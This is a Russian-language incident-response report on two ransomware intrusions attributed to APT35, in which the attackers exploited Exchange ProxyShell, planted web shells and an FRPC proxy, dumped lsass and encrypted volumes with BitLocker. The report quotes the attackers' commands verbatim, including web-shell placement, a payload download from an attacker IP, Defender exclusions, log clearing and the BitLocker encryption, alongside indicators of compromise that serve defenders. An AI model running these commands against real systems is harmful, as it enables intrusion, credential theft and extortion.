С мая 2022 года наши эксперты столкнулись с двумя кейсами, где злоумышленники использовали Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Как выяснилось по итогам расследования, атака может быть связана с APT35 – иранской группировкой, спонсируемой государством. В этой статье рассказываем, как мы пришли к такому выводу.

С чего все началось

Как правило, группировки, действующие в интересах государства, проводят кибератаки в целях шпионажа и кражи ценных данных. Однако на этот раз атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечной целью стало получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминается кибергруппировка Lazarus, которая занимается масштабным кибершпионажем, но при этом осуществляет атаки на криптовалюты, криптобиржи и использует шифровальщики для получения финансовой выгоды. Возможно, попытки прямой монетизации атаки злоумышленниками стали следствием урезания финансирования. Но были ли такие действия санкционированы, и пойдут ли по такому же пути иные группировки? На эти вопросы по-прежнему нет ответа.

В качестве способа отправки требования выкупа в ходе атаки использовалась обычная печать на принтере. Пример такого письма:

art35-1.png
art35-2.png

Получив такие письма, жертвы обратились в «Солар», и к исследованию подключились наши специалисты. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные удалось получить в результате исследования образов систем.

Первоначальный доступ

Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).

Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:

New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;

New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;

Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.

Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.

Расположение и наименования первоначального веб-шелла:

  • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx

  • \\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx

  • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx

Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.

Стоит обратить внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».

Пример кода веб-шелла:

art35-3.png

Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:

art35-4.png

Расположения, в которых последние размещались:

  • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx

  • E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx

  • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req

  • C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req

1. Последовательность действий после осуществления первоначального доступа:

Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows

2. После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:

C:\windows\temp\user.exe

C:\windows\temp\task_update.exe

C:\Windows\dllhost.exe

Описание действий, осуществляемых исполняемыми файлами приведено далее.

3. Осуществляется разведка

C:\windows\system32\query.exe

C:\windows\system32\quser.exe

4. Добавляется правило для FW:

FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*

5. Запускается TermService

6. Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.

7. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip».  Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.

Все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.

Анализ ВПО

Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.

Файл «task_update.exe». При запуске выполняет следующие действия:

  • schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'

  • schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'

  • try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}

  • powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa&#39; -OutFile $file}

  • certutil -addstore -f root C:\Windows\Temp\cert.cer

Так файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:

alt="art35-5.png" src="/upload/medialibrary/057/6rz4gkhha9nk1nty1f7y8tu2wo976b5w/art35_5.png" title="art35-5.png">
alt="art35-6.png" src="/upload/medialibrary/5f5/o81hia3lu3naecjdz37yiuhy1sa90o66/art35_6.png" title="art35-6.png">

При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:

  • \Microsoft\Windows\Maintenance\Wininet

  • \'\Microsoft\Windows\Maintenance\Wininet'

Данные командного файла «Wininet.bat»:

art35-7.png

Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.

Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:

  • kcp53.tcp443[.]org

  • tcp443.tcp443[.]org

  • kcp53.msupdate[.]us

  • tcp443.msupdate[.]us

После запуска выполняются команды:

powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"

cmd /c "wmic computersystem get domain"
5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:

art35-8.png

Командный файл выполняет следующие действия:

  • Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.

  • Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).

  • Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).

Исследование атаки. Продолжение

Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.

После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.

Также на различных хостах можно отметить следующие следы:

  1. Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.

  2. Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.

  3. Интересные запуски команд для получения данных УЗ и аудита домена:

    .\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы  https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.

    .\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.

  4. На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:

  • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут)

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows

  • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls  C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.

Индикаторы компрометации (IoC)

Файловые индикаторы

Имя

MD5

SHA1

SHA256

Описание

aspx_qdiaxtuajjd.aspx

79dc1761e54baabbbb8d2938c1ebdb42

2d11db1bd96d649afec7f3cff49c291a512578d9

146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb

Веб-шелл

aspx_scyieqfkxna.aspx

c7b65c9658058ff9c7017b2af503f9e2

493b2e041d6b7411fc25632727149aee8542a586

4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c

Веб-шелл

aspx_pdydmpramaj.aspx

618050829a8e744b8873e43da8a4e3c1

5f7cbfe775699638458991564b444415e3c8785c

8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663

Веб-шелл

login.aspx

b51ab1b5af0e021a13f99d707c2f09fd

1dc582e071a6c484c64bab6af62d72fafc868593

ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf

Дополнительный веб-шелл

default.aspx

1d513c7e5d4c0b319bf94a7f6384bba6

c48e82062fa0b711557976f1fb28a8bcb2886c80

8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153

Дополнительный веб-шелл

default.aspx.req

0f7bc1eabdc6ab9e45eb65de7077f829

ca513db841ce6bf0cb098fffbaaf79791299c63c

19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8

Дополнительный веб-шелл

info.aspx.req

78502913d70b5170f8cac7fba2b1142d

de9eac9bb463855ab83a2bac8d26c0e1a8f55521

d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d

Дополнительный веб-шелл

dllhost.exe

d55fa23a67fa7ce17b237e1b55274ac5

ce908b5651c7456edd71ed9e0d29dca575bd20e5

f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686

Программа-прокси, измененная FRPC

dllhost.exe

43d6ebb2162e02dde008d6e4ccc1332d

b7a53f52484a32b2dd6023f570f8644edb0f576f

e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64

Программа-прокси, измененная FRPC

wininet.bat

5f098b55f94f5a448ca28904a57c0e58

27102b416ef5df186bd8b35190c2a4cc4e2fbf37

668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

Командный для запуска dllhost.exe

install-proxy.bat

0fd744b6832c57a2490819764805dfe9

2523c1e8cf2a15cd265847e5265766d3ffa0ab1d

3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14

Командный для закрепления программы-прокси

task_update.exe

0bbb57cacc082306d78dbe1b95b2b9b7

b6fa7273f7d0255e31542c7782df6a136f49fd5d

3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73

Программа для загрузки и закрепления программы-прокси

user.exe

90ea3af8f0ded9fa6faee010136267c8

b3e051de5210258eb87b0ed7f0c137a240fc76d4

600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412

Программа для создания УЗ DefaultAccount

cert.cer

0ce5a40d8f50c0435e38b88bf6b0a92d

6970700bc5e0df88e107034bcdad0449c134da08

f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a

Сертификат, использованный в атаке

wininet.xml

d2f4647a3749d30a35d5a8faff41765e

0f676bc786db3c44cac4d2d22070fb514b4cb64c  

559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

Используется для создания задачи WinInet

Сетевые индикаторы:

  • kcp53.tcp443[.]org

  • tcp443.tcp443[.]org

  • kcp53.msupdate[.]us

  • tcp443.msupdate[.]us

  • kcp53[.]mssync[.]one

  • tcp443[.]mssync[.]one

  • 86.57.3[.]147

  • 91.203.74[.]214

  • 104.21.23[.]5

  • 172.245.26[.]118

  • 94.232.46[.]57

  • 201.116.118[.]22

 Тактики техники и процедуры

Тактика

Техника

Описание

Initial Access

Exploit Public-Facing Application – T1190

Первоначальный доступ через уязвимость Microsoft Exchange

Execution

Windows Command Shell – T1059

Исполнение через оболочку командной строки, оболочку powershell

Persistence

 

Create Account: Local Account– T1136.001

 

Создание и добавление УЗ DefaultAccount

Web Shell – T1505.003

Размещение веб-шеллов через ProxyShell

Scheduled Task/Job: Scheduled Task T1053.005

Создание и исполнение задачи для запуска dllhost.exe

Privilege Escalation

Valid Accounts – T1078

 

Использование существующих привилегированных доменных УЗ

Defense Evasion

Match Legitimate Name or Location – T1036.005

Использование наименования «dllhost.exe» для маскировки под легитимный файл

Impair Defenses: Disable or Modify Tools -T1562.001

Добавление исключений для Microsoft Defender

Impair Defenses: Disable Windows Event Logging - T1562.002

Остановка журналов ОС Windows

Indicator Removal on Host: Clear Windows Event Logs - T1070.001

Очистка журналов ОС Windows

Credential Access

OS Credential Dumping – T1003

 

Дамп процесса lsass. Дампы реестра SAM, Security

Discovery

System Information Discovery – T1082

Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe

Network Service Discovery – T1046

Использование программы Softperfect Network Scanner

Lateral Movement

Remote Services: Remote Desktop Protocol T1021.001

Для перемещения по локальной сети использовался RDP

Collection

Archive Collected Data T1560

Архивирование дампа lsass

Command and Control

Ingress Tool Transfer – T1105

Загрузка dllhost.exe с использованием Invoke-WebRequest

Proxy T1090

Использовалась измененная программа-прокси FRPC

Impact

Data Encrypted for Impact -T1486

Шифрование с использованием BitLocker

System Shutdown/Reboot - T1529

Перезагрузка систем